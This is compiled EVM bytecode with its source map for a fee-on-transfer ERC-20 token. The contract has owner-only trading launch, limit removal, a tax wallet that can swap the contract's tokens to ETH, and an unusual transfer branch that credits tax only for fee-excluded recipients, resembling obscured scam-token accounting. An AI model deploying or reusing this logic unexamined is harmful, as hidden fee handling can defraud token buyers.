d575f80fd5b506101ba6103bc366004611616565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103f23384846109f7565b5060015b92915050565b5f6104096009600a611741565b61041790633b9aca0061174f565b905090565b5f610428848484610b1a565b6104798433610474856040518060600160405280602881526020016118e1602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061114e565b6109f7565b5060019392505050565b5f546001600160a01b031633146104b55760405162461bcd60e51b81526004016104ac90611766565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105265760405162461bcd60e51b81526004016104ac90611766565b601154600160a01b900460ff16156105805760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ac565b6011805462ff00ff60a01b19166201000160a01b179055565b5f6103f2338484610b1a565b6004546001600160a01b031633146105ba5750565b6105c381611186565b4780156105d3576105d3816112f9565b5050565b5f546001600160a01b031633146106005760405162461bcd60e51b81526004016104ac90611766565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561064990309061063b6009600a611741565b61047490633b9aca0061174f565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610699573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bd919061179b565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610740919061179b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561078a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ae919061179b565b601180546001600160a01b0319166001600160a01b0392831690811790915560105460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af1158015610811573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083591906117b6565b50610871333060648461084a6009600a611741565b61085890633b9aca0061174f565b610862919061174f565b61086c91906117d5565b610b1a565b6010546001600160a01b031663f305d71934306108a2816001600160a01b03165f9081526001602052604090205490565b5f806108b55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091b573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094091906117f4565b50505050565b5f546001600160a01b0316331461096f5760405162461bcd60e51b81526004016104ac90611766565b61097b6009600a611741565b61098990633b9aca0061174f565b600d556109986009600a611741565b6109a690633b9aca0061174f565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109d66009600a611741565b6109e490633b9aca0061174f565b60405190815260200160405180910390a1565b6001600160a01b038316610a595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ac565b6001600160a01b038216610aba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ac565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ac565b6001600160a01b038216610be05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ac565b5f8111610c415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ac565b5f6001600160a01b0384163014801590610c6857505f546001600160a01b03858116911614155b8015610c8157505f546001600160a01b03848116911614155b15610fca57601154600160a01b900460ff16610cd45760405162461bcd60e51b8152602060048201526012602482015271151c98591a5b99c81b9bdd081bdc195b995960721b60448201526064016104ac565b610d006064610cfa600954600c5411610cef57600554610cf3565b6007545b8590611330565b906113b5565b6011549091506001600160a01b038581169116148015610d2e57506010546001600160a01b03848116911614155b8015610d5257506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3857600d54821115610da95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ac565b600e5482610dcb856001600160a01b03165f9081526001602052604090205490565b610dd5919061181f565b1115610e235760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b600c8054905f610e3283611832565b91905055505b6011546001600160a01b03848116911614801590610e6e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610eed57600e5482610e95856001600160a01b03165f9081526001602052604090205490565b610e9f919061181f565b1115610eed5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b6011546001600160a01b038481169116148015610f1357506001600160a01b0384163014155b15610f4057610f3d6064610cfa600a54600c5411610f3357600654610cf3565b6008548590611330565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610f7657506011546001600160a01b038581169116145b8015610f8b5750601154600160b01b900460ff165b8015610f985750600f5481115b8015610fa85750600b54600c5410155b15610fc857610fb681611186565b478015610fc657610fc6476112f9565b505b505b8015611089576001600160a01b0383165f9081526003602052604090205460ff168015610ff657505f81115b61101857305f9081526001602052604090205461101390826113f6565b611030565b305f9081526001602052604090205461103090611454565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110809085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110ab90836114ad565b6001600160a01b0385165f908152600160205260409020556110ee6110d083836114ad565b6001600160a01b0385165f90815260016020526040902054906113f6565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61113785856114ad565b60405190815260200160405180910390a350505050565b5f81848411156111715760405162461bcd60e51b81526004016104ac919061151a565b505f61117d848661184a565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111cc576111cc61185d565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611223573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611247919061179b565b8160018151811061125a5761125a61185d565b6001600160a01b03928316602091820292909201015260105461128091309116846109f7565b6010546004805460405163791ac94760e01b81526001600160a01b039384169363791ac947936112bb9388935f938993921691429101611871565b5f604051808303815f87803b1580156112d2575f80fd5b505af11580156112e4573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105d3573d5f803e3d5ffd5b5f825f0361133f57505f6103f6565b5f61134a838561174f565b90508261135785836117d5565b146113ae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ac565b9392505050565b5f6113ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ee565b5f80611402838561181f565b9050838110156113ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b5f6001600160fc1b03828110156103f65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b5f6113ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114e565b5f818361150e5760405162461bcd60e51b81526004016104ac919061151a565b505f61117d84866117d5565b5f6020808352835180828501525f5b8181101561154557858101830151858201604001528201611529565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611579575f80fd5b50565b5f806040838503121561158d575f80fd5b823561159881611565565b946020939093013593505050565b5f805f606084860312156115b8575f80fd5b83356115c381611565565b925060208401356115d381611565565b929592945050506040919091013590565b5f602082840312156115f4575f80fd5b81356113ae81611565565b5f6020828403121561160f575f80fd5b5035919050565b5f8060408385031215611627575f80fd5b823561163281611565565b9150602083013561164281611565565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561169b57815f19048211156116815761168161164d565b8085161561168e57918102915b93841c9390800290611666565b509250929050565b5f826116b1575060016103f6565b816116bd57505f6103f6565b81600181146116d357600281146116dd576116f9565b60019150506103f6565b60ff8411156116ee576116ee61164d565b50506001821b6103f6565b5060208310610133831016604e8410600b841016171561171c575081810a6103f6565b6117268383611661565b805f19048211156117395761173961164d565b029392505050565b5f6113ae60ff8416836116a3565b80820281158282048414176103f6576103f661164d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ab575f80fd5b81516113ae81611565565b5f602082840312156117c6575f80fd5b815180151581146113ae575f80fd5b5f826117ef57634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f60608486031215611806575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103f6576103f661164d565b5f600182016118435761184361164d565b5060010190565b818103818111156103f6576103f661164d565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118bf5784516001600160a01b03168352938301939183019160010161189a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a04e9d1e6e99acdb50cb3e42f513b0c00cd139061c409bb0c604f3b9568046464736f6c63430008150033

4557:7716:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6978:83;;;;;;;;;;-1:-1:-1;7048:5:0;;;;;;;;;;;;-1:-1:-1;;;7048:5:0;;;;6978:83;;;;;;;:::i;:::-;;;;;;;;7811:161;;;;;;;;;;-1:-1:-1;7811:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7811:161:0;1023:187:1;7255:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;7255:95:0;1215:177:1;7980:313:0;;;;;;;;;;-1:-1:-1;7980:313:0;;;;;:::i;:::-;;:::i;7164:83::-;;;;;;;;;;-1:-1:-1;7164:83:0;;5354:1;2000:36:1;;1988:2;1973:18;7164:83:0;1858:184:1;5668:28:0;;;;;;;;;;-1:-1:-1;5668:28:0;;;;-1:-1:-1;;;;;5668:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5668:28:0;2047:203:1;7358:119:0;;;;;;;;;;-1:-1:-1;7358:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7451:18:0;7424:7;7451:18;;;:9;:18;;;;;;;7358:119;3638:148;;;;;;;;;;;;;:::i;:::-;;5430:54;;;;;;;;;;;;;;;;12060:173;;;;;;;;;;;;;:::i;3424:79::-;;;;;;;;;;-1:-1:-1;3462:7:0;3489:6;-1:-1:-1;;;;;3489:6:0;3424:79;;5491:56;;;;;;;;;;;;;;;;7069:87;;;;;;;;;;-1:-1:-1;7141:7:0;;;;;;;;;;;;-1:-1:-1;;;7141:7:0;;;;7069:87;;7485:167;;;;;;;;;;-1:-1:-1;7485:167:0;;;;;:::i;:::-;;:::i;5554:58::-;;;;;;;;;;;;;;;;10960:334;;;;;;;;;;-1:-1:-1;10960:334:0;;;;;:::i;:::-;;:::i;5703:24::-;;;;;;;;;;-1:-1:-1;5703:24:0;;;;-1:-1:-1;;;5703:24:0;;;;;;6311:659;;;;;;:::i;:::-;;:::i;11790:162::-;;;;;;;;;;;;;:::i;7660:143::-;;;;;;;;;;-1:-1:-1;7660:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7768:18:0;;;7741:7;7768:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7660:143;7811:161;7886:4;7903:39;1073:10;7926:7;7935:6;7903:8;:39::i;:::-;-1:-1:-1;7960:4:0;7811:161;;;;;:::o;7255:95::-;7308:7;5410:13;5354:1;5410:2;:13;:::i;:::-;5397:26;;:10;:26;:::i;:::-;7328:14;;7255:95;:::o;7980:313::-;8078:4;8095:36;8105:6;8113:9;8124:6;8095:9;:36::i;:::-;8142:121;8151:6;1073:10;8173:89;8211:6;8173:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8173:19:0;;;;;;:11;:19;;;;;;;;1073:10;8173:33;;;;;;;;;;:37;:89::i;:::-;8142:8;:121::i;:::-;-1:-1:-1;8281:4:0;7980:313;;;;;:::o;3638:148::-;3551:6;;-1:-1:-1;;;;;3551:6:0;1073:10;3551:22;3543:67;;;;-1:-1:-1;;;3543:67:0;;;;;;;:::i;:::-;;;;;;;;;3745:1:::1;3729:6:::0;;3708:40:::1;::::0;-1:-1:-1;;;;;3729:6:0;;::::1;::::0;3708:40:::1;::::0;3745:1;;3708:40:::1;3776:1;3759:19:::0;;-1:-1:-1;;;;;;3759:19:0::1;::::0;;3638:148::o;12060:173::-;3551:6;;-1:-1:-1;;;;;3551:6:0;1073:10;3551:22;3543:67;;;;-1:-1:-1;;;3543:67:0;;;;;;;:::i;:::-;12126:12:::1;::::0;-1:-1:-1;;;12126:12:0;::::1;;;12125:13;12117:48;;;::::0;-1:-1:-1;;;12117:48:0;;5336:2:1;12117:48:0::1;::::0;::::1;5318:21:1::0;5375:2;5355:18;;;5348:30;5414:25;5394:18;;;5387:53;5457:18;;12117:48:0::1;5134:347:1::0;12117:48:0::1;12176:12;:19:::0;;-1:-1:-1;;;;12206:19:0;-1:-1:-1;;;12206:19:0;;;12060:173::o;7485:167::-;7563:4;7580:42;1073:10;7604:9;7615:6;7580:9;:42::i;10960:334::-;11029:10;;-1:-1:-1;;;;;11029:10:0;1073;11029:26;11025:65;;10960:334;:::o;11025:65::-;11100:29;11117:11;11100:16;:29::i;:::-;11169:21;11204:22;;11201:86;;11243:32;11256:18;11243:12;:32::i;:::-;11014:280;10960:334;:::o;6311:659::-;3551:6;;-1:-1:-1;;;;;3551:6:0;1073:10;3551:22;3543:67;;;;-1:-1:-1;;;3543:67:0;;;;;;;:::i;:::-;6393:15:::1;:80:::0;;-1:-1:-1;;;;;;6393:80:0::1;6430:42;6393:80:::0;;::::1;::::0;;;6484:58:::1;::::0;6501:4:::1;::::0;5410:13:::1;5354:1;5410:2;:13;:::i;:::-;5397:26;::::0;:10:::1;:26;:::i;6484:58::-;6587:15;;;;;;;;;-1:-1:-1::0;;;;;6587:15:0::1;-1:-1:-1::0;;;;;6587:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6569:55:0::1;;6633:4;6640:15;;;;;;;;;-1:-1:-1::0;;;;;6640:15:0::1;-1:-1:-1::0;;;;;6640:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6569:94;::::0;-1:-1:-1;;;;;;6569:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5972:15:1;;;6569:94:0::1;::::0;::::1;5954:34:1::0;6024:15;;6004:18;;;5997:43;5889:18;;6569:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6553:13;:110:::0;;-1:-1:-1;;;;;;6553:110:0::1;-1:-1:-1::0;;;;;6553:110:0;;::::1;::::0;;::::1;::::0;;;6712:15:::1;::::0;6674:71:::1;::::0;-1:-1:-1;;;6674:71:0;;6712:15;::::1;6674:71;::::0;::::1;6225:51:1::0;-1:-1:-1;;6292:18:1;;;6285:34;6553:110:0;6674:29:::1;::::0;6198:18:1;;6674:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6756:72:0::1;1073:10:::0;6788:4:::1;6823:3;6806:14:::0;5410:13:::1;5354:1;5410:2;:13;:::i;:::-;5397:26;::::0;:10:::1;:26;:::i;:::-;6796:24;;;;:::i;:::-;:30;;;;:::i;:::-;6756:9;:72::i;:::-;6839:15;::::0;-1:-1:-1;;;;;6839:15:0::1;:31;6879:9;6898:4;6905:24;6898:4:::0;-1:-1:-1;;;;;7451:18:0;7424:7;7451:18;;;:9;:18;;;;;;;7358:119;6905:24:::1;6931:1;6934::::0;6937:7:::1;3462::::0;3489:6;-1:-1:-1;;;;;3489:6:0;;3424:79;6937:7:::1;6839:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6839:123:0;;;-1:-1:-1;;;;;7193:15:1;;;6839:123:0::1;::::0;::::1;7175:34:1::0;7225:18;;;7218:34;;;;7268:18;;;7261:34;;;;7311:18;;;7304:34;7375:15;;;7354:19;;;7347:44;6946:15:0::1;7407:19:1::0;;;7400:35;7109:19;;6839:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6311:659:::0;:::o;11790:162::-;3551:6;;-1:-1:-1;;;;;3551:6:0;1073:10;3551:22;3543:67;;;;-1:-1:-1;;;3543:67:0;;;;;;;:::i;:::-;5410:13:::1;5354:1;5410:2;:13;:::i;:::-;5397:26;::::0;:10:::1;:26;:::i;:::-;11846:12;:22:::0;5410:13:::1;5354:1;5410:2;:13;:::i;:::-;5397:26;::::0;:10:::1;:26;:::i;:::-;11879:14;:22:::0;11917:27:::1;5410:13;5354:1;5410:2;:13;:::i;:::-;5397:26;::::0;:10:::1;:26;:::i;:::-;11917:27;::::0;1361:25:1;;;1349:2;1334:18;11917:27:0::1;;;;;;;11790:162::o:0;8301:335::-;-1:-1:-1;;;;;8394:19:0;;8386:68;;;;-1:-1:-1;;;8386:68:0;;7959:2:1;8386:68:0;;;7941:21:1;7998:2;7978:18;;;7971:30;8037:34;8017:18;;;8010:62;-1:-1:-1;;;8088:18:1;;;8081:34;8132:19;;8386:68:0;7757:400:1;8386:68:0;-1:-1:-1;;;;;8473:21:0;;8465:68;;;;-1:-1:-1;;;8465:68:0;;8364:2:1;8465:68:0;;;8346:21:1;8403:2;8383:18;;;8376:30;8442:34;8422:18;;;8415:62;-1:-1:-1;;;8493:18:1;;;8486:32;8535:19;;8465:68:0;8162:398:1;8465:68:0;-1:-1:-1;;;;;8544:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8596:32;;1361:25:1;;;8596:32:0;;1334:18:1;8596:32:0;;;;;;;8301:335;;;:::o;8644:2200::-;-1:-1:-1;;;;;8732:18:0;;8724:68;;;;-1:-1:-1;;;8724:68:0;;8767:2:1;8724:68:0;;;8749:21:1;8806:2;8786:18;;;8779:30;8845:34;8825:18;;;8818:62;-1:-1:-1;;;8896:18:1;;;8889:35;8941:19;;8724:68:0;8565:401:1;8724:68:0;-1:-1:-1;;;;;8811:16:0;;8803:64;;;;-1:-1:-1;;;8803:64:0;;9173:2:1;8803:64:0;;;9155:21:1;9212:2;9192:18;;;9185:30;9251:34;9231:18;;;9224:62;-1:-1:-1;;;9302:18:1;;;9295:33;9345:19;;8803:64:0;8971:399:1;8803:64:0;8895:1;8886:6;:10;8878:64;;;;-1:-1:-1;;;8878:64:0;;9577:2:1;8878:64:0;;;9559:21:1;9616:2;9596:18;;;9589:30;9655:34;9635:18;;;9628:62;-1:-1:-1;;;9706:18:1;;;9699:39;9755:19;;8878:64:0;9375:405:1;8878:64:0;8953:17;-1:-1:-1;;;;;8987:21:0;;9003:4;8987:21;;;;:40;;-1:-1:-1;3462:7:0;3489:6;-1:-1:-1;;;;;9012:15:0;;;3489:6;;9012:15;;8987:40;:57;;;;-1:-1:-1;3462:7:0;3489:6;-1:-1:-1;;;;;9031:13:0;;;3489:6;;9031:13;;8987:57;8983:1418;;;9069:12;;-1:-1:-1;;;9069:12:0;;;;9061:43;;;;-1:-1:-1;;;9061:43:0;;9987:2:1;9061:43:0;;;9969:21:1;10026:2;10006:18;;;9999:30;-1:-1:-1;;;10045:18:1;;;10038:48;10103:18;;9061:43:0;9785:342:1;9061:43:0;9131:76;9203:3;9131:67;9153:15;;9143:9;;:25;9142:55;;9183:14;;9142:55;;;9170:12;;9142:55;9131:6;;:10;:67::i;:::-;:71;;:76::i;:::-;9236:13;;9119:88;;-1:-1:-1;;;;;;9228:21:0;;;9236:13;;9228:21;:55;;;;-1:-1:-1;9267:15:0;;-1:-1:-1;;;;;9253:30:0;;;9267:15;;9253:30;;9228:55;:83;;;;-1:-1:-1;;;;;;9289:22:0;;;;;;:18;:22;;;;;;;;9287:24;9228:83;9224:315;;;9351:12;;9341:6;:22;;9333:60;;;;-1:-1:-1;;;9333:60:0;;10334:2:1;9333:60:0;;;10316:21:1;10373:2;10353:18;;;10346:30;10412:27;10392:18;;;10385:55;10457:18;;9333:60:0;10132:349:1;9333:60:0;9446:14;;9436:6;9420:13;9430:2;-1:-1:-1;;;;;7451:18:0;7424:7;7451:18;;;:9;:18;;;;;;;7358:119;9420:13;:22;;;;:::i;:::-;:40;;9412:79;;;;-1:-1:-1;;;9412:79:0;;10818:2:1;9412:79:0;;;10800:21:1;10857:2;10837:18;;;10830:30;10896:28;10876:18;;;10869:56;10942:18;;9412:79:0;10616:350:1;9412:79:0;9512:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9224:315;9565:13;;-1:-1:-1;;;;;9559:19:0;;;9565:13;;9559:19;;;;:47;;-1:-1:-1;;;;;;9584:22:0;;;;;;:18;:22;;;;;;;;9582:24;9559:47;9555:167;;;9661:14;;9651:6;9635:13;9645:2;-1:-1:-1;;;;;7451:18:0;7424:7;7451:18;;;:9;:18;;;;;;;7358:119;9635:13;:22;;;;:::i;:::-;:40;;9627:79;;;;-1:-1:-1;;;9627:79:0;;10818:2:1;9627:79:0;;;10800:21:1;10857:2;10837:18;;;10830:30;10896:28;10876:18;;;10869:56;10942:18;;9627:79:0;10616:350:1;9627:79:0;9747:13;;-1:-1:-1;;;;;9741:19:0;;;9747:13;;9741:19;:43;;;;-1:-1:-1;;;;;;9764:20:0;;9779:4;9764:20;;9741:43;9738:174;;;9817:79;9892:3;9817:70;9839:16;;9829:9;;:26;9828:58;;9871:15;;9828:58;;;9857:13;;9817:6;;:10;:70::i;:79::-;9805:91;;9738:174;9977:4;9928:28;7451:18;;;:9;:18;;;;;;10003:6;;-1:-1:-1;;;10003:6:0;;;;10002:7;:30;;;;-1:-1:-1;10019:13:0;;-1:-1:-1;;;;;10013:19:0;;;10019:13;;10013:19;10002:30;:46;;;;-1:-1:-1;10036:12:0;;-1:-1:-1;;;10036:12:0;;;;10002:46;:88;;;;;10073:17;;10052:20;:38;10002:88;:121;;;;;10105:18;;10094:9;;:29;;10002:121;9998:392;;;10144:38;10161:20;10144:16;:38::i;:::-;10230:21;10273:22;;10270:105;;10320:35;10333:21;10320:12;:35::i;:::-;10125:265;9998:392;9046:1355;8983:1418;10414:11;;10411:250;;-1:-1:-1;;;;;10466:22:0;;;;;;:18;:22;;;;;;;;:53;;;;;10518:1;10508:9;:11;10466:53;:124;;10569:4;10551:24;;;;:9;:24;;;;;;:39;;10580:9;10551:28;:39::i;:::-;10466:124;;;10538:4;10520:24;;;;:9;:24;;;;;;:30;;:28;:30::i;:::-;10459:4;10441:24;;;;:9;:24;;;;;;;:149;;;;10610:39;;-1:-1:-1;;;;;10610:39:0;;;;;;;10639:9;1361:25:1;;1349:2;1334:18;;1215:177;10610:39:0;;;;;;;;10411:250;-1:-1:-1;;;;;10687:15:0;;;;;;:9;:15;;;;;;:27;;10707:6;10687:19;:27::i;:::-;-1:-1:-1;;;;;10671:15:0;;;;;;:9;:15;;;;;:43;10739:40;10757:21;:6;10768:9;10757:10;:21::i;:::-;-1:-1:-1;;;;;10739:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10725:13:0;;;;;;;:9;:13;;;;;:54;;;;10795:41;;;10814:21;:6;10825:9;10814:10;:21::i;:::-;10795:41;;1361:25:1;;;1349:2;1334:18;10795:41:0;;;;;;;8713:2131;8644:2200;;;:::o;2316:190::-;2402:7;2438:12;2430:6;;;;2422:29;;;;-1:-1:-1;;;2422:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2462:9:0;2474:5;2478:1;2474;:5;:::i;:::-;2462:17;2316:190;-1:-1:-1;;;;;2316:190:0:o;11302:480::-;5892:6;:13;;-1:-1:-1;;;;5892:13:0;-1:-1:-1;;;5892:13:0;;;11404:16:::1;::::0;;11418:1:::1;11404:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11404:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11404:16:0::1;11380:40;;11449:4;11431;11436:1;11431:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11431:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11475:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11475:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11431:7;;11475:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11465:4;11470:1;11465:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11465:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11540:15:::1;::::0;11508:62:::1;::::0;11525:4:::1;::::0;11540:15:::1;11558:11:::0;11508:8:::1;:62::i;:::-;11581:15;::::0;11723:10:::1;::::0;;11581:193:::1;::::0;-1:-1:-1;;;11581:193:0;;-1:-1:-1;;;;;11581:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;11662:11;;11581:15:::1;::::0;11704:4;;11723:10;::::1;::::0;11748:15:::1;::::0;11581:193:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5928:6:0;:14;;-1:-1:-1;;;;5928:14:0;;;-1:-1:-1;;;;11302:480:0:o;11960:92::-;12017:10;;:27;;-1:-1:-1;;;;;12017:10:0;;;;:27;;;;;12037:6;;12017:10;:27;:10;:27;12037:6;12017:10;:27;;;;;;;;;;;;;;;;;;;2514:246;2572:7;2596:1;2601;2596:6;2592:47;;-1:-1:-1;2626:1:0;2619:8;;2592:47;2649:9;2661:5;2665:1;2661;:5;:::i;:::-;2649:17;-1:-1:-1;2694:1:0;2685:5;2689:1;2649:17;2685:5;:::i;:::-;:10;2677:56;;;;-1:-1:-1;;;2677:56:0;;12703:2:1;2677:56:0;;;12685:21:1;12742:2;12722:18;;;12715:30;12781:34;12761:18;;;12754:62;-1:-1:-1;;;12832:18:1;;;12825:31;12873:19;;2677:56:0;12501:397:1;2677:56:0;2751:1;2514:246;-1:-1:-1;;;2514:246:0:o;2768:132::-;2826:7;2853:39;2857:1;2860;2853:39;;;;;;;;;;;;;;;;;:3;:39::i;1800:179::-;1858:7;;1890:5;1894:1;1890;:5;:::i;:::-;1878:17;;1919:1;1914;:6;;1906:46;;;;-1:-1:-1;;;1906:46:0;;13105:2:1;1906:46:0;;;13087:21:1;13144:2;13124:18;;;13117:30;13183:29;13163:18;;;13156:57;13230:18;;1906:46:0;12903:351:1;1987:177:0;2034:7;-1:-1:-1;;;;;2099:6:0;;;;2091:46;;;;-1:-1:-1;;;2091:46:0;;13105:2:1;2091:46:0;;;13087:21:1;13144:2;13124:18;;;13117:30;13183:29;13163:18;;;13156:57;13230:18;;2091:46:0;12903:351:1;2172:136:0;2230:7;2257:43;2261:1;2264;2257:43;;;;;;;;;;;;;;;;;:3;:43::i;2908:189::-;2994:7;3029:12;3022:5;3014:28;;;;-1:-1:-1;;;3014:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3053:9:0;3065:5;3069:1;3065;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2